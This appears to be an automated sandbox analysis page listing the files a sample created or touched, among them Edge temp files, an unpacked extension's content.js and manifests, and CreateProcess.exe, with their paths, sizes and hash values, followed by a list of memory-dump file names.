Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\af1b3593-aa0d-443b-a795-6a994ac2a0fd.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

ce730b52-92d7-4559-9bc8-eeb4b9843b69.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ce730b52-92d7-4559-9bc8-eeb4b9843b69.tmp
Size 29KB
SHA256 7061b4af2f14e938b7e830b77554cfd62922ab23977ae6365bd92454f2588594
MD5 bbc5ab7ed60e9493214ea476852b15f6
SHA1 024f2ab07212681b0fdfd304b1623b2be3f538b7
SHA512 c3496c7f85976920ad4f221027014f6a8a070251fff254885303af60f13e4bf0f681bf9ab19ec5a6e7aac19b3f13cf100da0dc56c7542f03080f85bbae38e9f5
SSDEEP 768:XIDmDz17pLuLbdoWgvHfnv8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6YMIljwroT3rn:XIDmDzDEbdoWgvHfnvu1jaNYMmjbT3rn
TLSH
T159D2DB7B640DCA7F4F800ADDEC297A9B6DA802CB9698C94047FA941C02D67EF51164DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fe318726-1a04-4143-9b28-985d10154f3a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\fe318726-1a04-4143-9b28-985d10154f3a.tmp
Size 12KB
SHA256 b6bfd0271c5883f4a0ae5efe2724b8aeb725b0a7a026b7a8669829ef34ace183
MD5 e4ff302c9f511eb7e65070677e2eecd7
SHA1 43046bde163f9ee4115d590fda9c129107ffdc16
SHA512 7585af696f025f8fbc4138256aae487fc1b3bf8e71de287280096f71268f899cab3bfd5d9e8a36735f0ee68916b4f3d3f01d4de3ae68b5a8ce322a005433c062
SSDEEP 192:sxRAVRKC8P/fdsiFmcZQeFRMzoA8p9z/g6+WNCPX/YiYzsG5IgD8IJ:sxR6D8P/fdsiwilFR99/52/QV
TLSH
T16042D959AD34A97B8CCBD21DBB657F53D2F9603260D11E48AAFC9A1C04EB7DD220740B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

50c01ee0-50d1-40a5-a031-7940e7836e4d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\50c01ee0-50d1-40a5-a031-7940e7836e4d.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b66b445b-2f07-419c-9804-24765e2a5229.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\b66b445b-2f07-419c-9804-24765e2a5229.tmp
Size 34KB
SHA256 30221aec321ac255981caa5c7d1ae44f3de56b52ade881c2b8b49b1b29486350
MD5 4c2017aa7d3433fee8cf80b38a7a99b4
SHA1 0bca7da210a811b56c7ff8f4e0120caf08f8683f
SHA512 55f709f5433d81c52926e0a0100886f80526453a03c31fd358e70239d2ec9d9ef6cfef654e34aaf1ab83e3c18b1af4ca80cebd5519d6741661eec64f6468527b
SSDEEP 768:vU3OfbccZ0rfZWoYoDYoPshBw4Ot5AEl94BHYjHj2sdJ:vU3aBVa5AEncHYjD2sdJ
TLSH
T1D9F2AFB8DCA18D638CFB9389B60737425EF564B3E8815ED4ECD86A1E0A4725F134B817
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c6fa0cd6-b247-46da-9441-f537efe49ad3.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\c6fa0cd6-b247-46da-9441-f537efe49ad3.tmp
Size 39KB
SHA256 25bc0f7744df2862918aabe40d022ffae0ab49fb740cec39837066fa0ce3c42c
MD5 86a46e7717fb4e72570949ee9953bad0
SHA1 287d33139c6821257ba54eceeae6e1b51a1d13e3
SHA512 14ff86ec4f1ef353d3adad24b40ab66e3ce7464312fcabf1402e2972ef074265528f91fc5e520de948acaae935de2c1c418bbc6c61c7cb4141dd8ae3ff57d482
SSDEEP 768:T/UxvxjgC+13mfqccZ0rfZWoYoDYoPshBw4Ot5AEl94BHYjHj+a:mZj3+13tBVa5AEncHYjD+a
TLSH
T1F203BF78DCA55D238CFBA399760B33879EF554B3A8812DE49DD85D0E0A8735E134B807
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

78f7af8a-1f73-45a0-a19d-1da75c35b3f5.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\78f7af8a-1f73-45a0-a19d-1da75c35b3f5.tmp
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

9879edfb-cc9a-47c2-8418-74819c817c92.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\9879edfb-cc9a-47c2-8418-74819c817c92.tmp
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

9ca23768-2b43-44af-8eb0-c0d8075bd457.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\9ca23768-2b43-44af-8eb0-c0d8075bd457.tmp
Size 492B
SHA256 55aa4ab756834699189543863036551542c61249184224f927d1681ef15164dd
MD5 c1bec3bc77db46888e279f8b3eeb18fc
SHA1 c2d14f387c796193ddc6378267768745c10dae14
SHA512 8d41fbab8134eec1a95a53d4d56d1d2edb1edced5b2f4987278e5b8f6ac9b169c9928a0c52ebe7a66393caddfa5a29e001890386b54105a8e69958661b40ec35
TLSH
T134F09E808C3E1AC5D6B90F6FE40716FC40D8591670D9287844CEE4A8A47B05B311586D
MD5 SHA1 SHA512 TLSH

Submit Download

c23c8d4b-3b99-4044-8fac-90d8a9a28f4f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\c23c8d4b-3b99-4044-8fac-90d8a9a28f4f.tmp
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

784ea574-2b6a-434d-a8b8-f19ead531517.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\784ea574-2b6a-434d-a8b8-f19ead531517.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

56b8667b-5390-4ecf-83a2-e9c6af2be103.tmp

Path C:\Users\Admin\AppData\Local\Temp\56b8667b-5390-4ecf-83a2-e9c6af2be103.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

a9ca502c-80c3-451b-8c1d-551618abb3a4.tmp

Path C:\Users\Admin\AppData\Local\Temp\a9ca502c-80c3-451b-8c1d-551618abb3a4.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1568_1977272731\CRX_INSTALL\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_117519478\manifest.json
Size 165B
SHA256 fc5dd0f6692cb24ec676b53527dabff28114c905dd08f72c97ac54a22c1bffae
MD5 1bfafb8c67c4ae6cf99faf6f1fcbe9e3
SHA1 77fc3483a895f1f429e6c6bb0f294a8fdc69dd08
SHA512 7237c88400ae032f4e745d8f0e5a869c29a76f0151b61ad2aed2ae1be7fd0b759d81c5e6b47535586533c0ab25291a25822174173f1bf6dbaab0298366aaea73
TLSH
T115C012229844793A12A183840A31CA82B2A0020B34E129023A79408C4F350749101619
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_17264475\manifest.json
Size 160B
SHA256 31952875f8bb2e71f49231c95349945ffc0c1dd975f06309a0d138f002cfd23d
MD5 c3911ceb35539db42e5654bdd60ac956
SHA1 71be0751e5fc583b119730dbceb2c723f2389f6c
SHA512 d8b2c7c5b7105a6f0c4bc9c79c05b1202bc8deb90e60a037fec59429c04fc688a745ee1a0d06a8311466b4d14e2921dfb4476104432178c01df1e99deb48b331
TLSH
T1F1C08C73CC08AE7911B14B371B214642E3B8030B600039093A32084C0BA47B00262328
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_551292690\manifest.json
Size 135B
SHA256 bf066a2cf10074e847bef7c066a9c84deada6586412e181cb417c6426a5d60a4
MD5 616eb6b585f16811dc5db5063e088cd7
SHA1 fc50aa7b747f9367d2b177eab7ab12cdafdeea85
SHA512 cdaf55640f0279c1cee06338912a07bc8bc8cb3780f70202363e25b327eb94a524c0acdd25cc2b22fbb1895d32af888857b17b3f0d7a2064f51ccdf1bab57f79
TLSH
T1BFC04C668D41DEAB00A647A56B295315E23B4B4B5044400A7AB5429C1A285964271844
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_573537700\manifest.json
Size 43B
SHA256 81bd82ac27612a58be30a72dd8956b13f883e32ffb54a58076bd6a42b8afaeea
MD5 af3a9104ca46f35bb5f6123d89c25966
SHA1 1ffb1b0aa9f44bdbc57bdf4b98d26d3be0207ee8
SHA512 6a7a543fa2d1ead3574b4897d2fc714bb218c60a04a70a7e92ecfd2ea59d67028f91b6a2094313f606560087336c619093f1d38d66a3c63a1d1d235ca03d36d1
MD5 SHA1 SHA512

Submit Download

manifest.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1568_91061875\manifest.json
Size 85B
SHA256 2d905d7b28b1afd313753d14f6a916a2e56ec4c1316bfa43046b09214ceb6090
MD5 8ce95626b39ebc2401eee0b34c24fc7c
SHA1 f97a2fefe756f7a03e388e1333573b884730c2b0
SHA512 f04e4f695977918adf6e0603386b6f9c75a4a2202b0fe7215b642f3db491a1db398039cc28633b8e2541749403581622d28c1400f3f8fc66a3daab200e27266d
TLSH
T106A0121018015DE318880320213143D2D3A51C05247437001106108019B8636027A22E
MD5 SHA1 SHA512 TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 07fefb6d157b67a260974c9191dcd8dfad5492011389f819fcba564dab8fd301
MD5 32060347fb6bc919e455b43dd9b733c0
SHA1 641d653b74191ea31941fe815afd1d613dc7dba9
SHA512 a565ff1c348cdc0e52bc8b0e21d43c586fef93e91bed9611762372b25914353a5e9a9cf427633fa9a4bc9ca72672ac8d7f2c875dee0c82b94e9bbaaf663bb7b8
TLSH
T1C371008357A8C5B2C5DA5FF202835644F6BB22780B6330200B91554AAB30A7E24B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/956-194-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1332-404-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1500-438-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1700-462-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1700-342-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1700-324-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1808-505-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2108-326-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2108-319-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2540-294-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2540-321-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2764-442-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2936-485-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3692-481-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3748-376-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4268-509-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4436-268-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4440-281-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4508-341-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5312-274-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5312-243-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5716-62-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5852-351-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6012-426-0x0000000000010000-0x00000000000AB000-memory.dmp

Download